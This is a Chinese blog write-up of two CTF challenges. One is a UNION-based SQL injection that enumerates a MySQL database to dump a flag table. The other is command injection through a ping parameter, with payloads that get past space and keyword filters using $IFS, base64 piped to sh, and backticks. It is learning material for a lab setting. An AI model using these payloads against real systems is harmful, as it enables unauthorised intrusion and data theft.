一天一道CTF 第七天(SQL注入 空格绕过)

本文详细介绍了两种在线挑战的解决过程,涉及SQL注入攻击和URL参数的利用。在第一例中,通过SQL注入确定了字段数、数据库名、表名和列名,并最终找到flag。在第二例中,利用各种方法绕过空格过滤,通过URL参数执行命令,成功读取文件内容。展示了在网络安全中如何通过探测和利用漏洞获取信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[极客大挑战 2019]LoveSQL
在这里插入图片描述
同样的背景,同样的SQL注入。尝试用admin' or '1'='1password' or '1'='1登录一下。有回显,但是这一长串应该不是flag。
在这里插入图片描述
那就是有回显的sql注入了,但是直接在登录框里注入好像是不行的,得用hackbar在URL里注入。
先查字段数,payload为http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'order by 4%23&password=1http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'order by 3%23&password=1(%23换成#也可以)
3不报错4报错,说明字段数为3
在这里插入图片描述
接着查看回显点,http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1’union select 1,2,4%23&password=1
在这里插入图片描述
接下来就是按部就班查看数据库,表明,列名,依次使用下列payload

http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,(select database())%23&password=1

数据库名称是geek

http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(schema_name) from information_schema.schemata%23&password=1

schema分别有information_schema,mysql,performance_schema,test,geek

http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1

表名有两个:geekuser,l0ve1ysq1

http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1

查一下这两个的列名,都是id,username,password

http://0908d19b-01e5-4170-a57a-70a6ac79022f.node3.buuoj.cn/check.php?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

最后这两个表都查看一下,发现flag在l0ve1ysq1这个表里
在这里插入图片描述
今天还有时间,就再做一道
[GXYCTF2019]Ping Ping Ping
在这里插入图片描述
点开页面只有一个/?ip=,应该是提示我们在URL后面加上这个就可以ping网址了。当然我们不可能只ping,尝试/?ip=123;ls,发现有两个文件,一个flag.php,一个index.php
在这里插入图片描述
/?ip=123;cat flag.php,发现空格被过滤,这个错误提示也是很大气
在这里插入图片描述
在网上查了一下可以用这些方法绕过空格过滤
$IFS
${IFS}
$IFS$1 //1改成1改成1加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
在这道题里
/?ip=123;cat$IFSflag.php发现flag也被过滤了,好家伙。那就http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;cat$IFS$1index.php看另一个文件index.php
在这里插入图片描述
发现括号,空格,bash,flag都被过滤了,到这里已经超出我的能力范围了,上网找答案。解决方案有3种(要查看源代码才能看到flag):
1.给代码里的变量a赋值然后拼接语句

http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;a=lag;cat$IFS$1f$a.php

但是a不能赋值成flag不然还是会被过滤
2.base64编码

http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64编码,用base64 -d命令执行

3.内联绕过

view-source:http://69d4c4b4-8a20-4312-91ff-78d63d60e776.node3.buuoj.cn/?ip=123;cat$IFS$1`ls`

反单引号里面的内容会优先执行,然后把命令的输出作为输入执行。ls命令输出的结果是flag.php和index.php,因此就直接查看了这两个文件夹里的内容。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值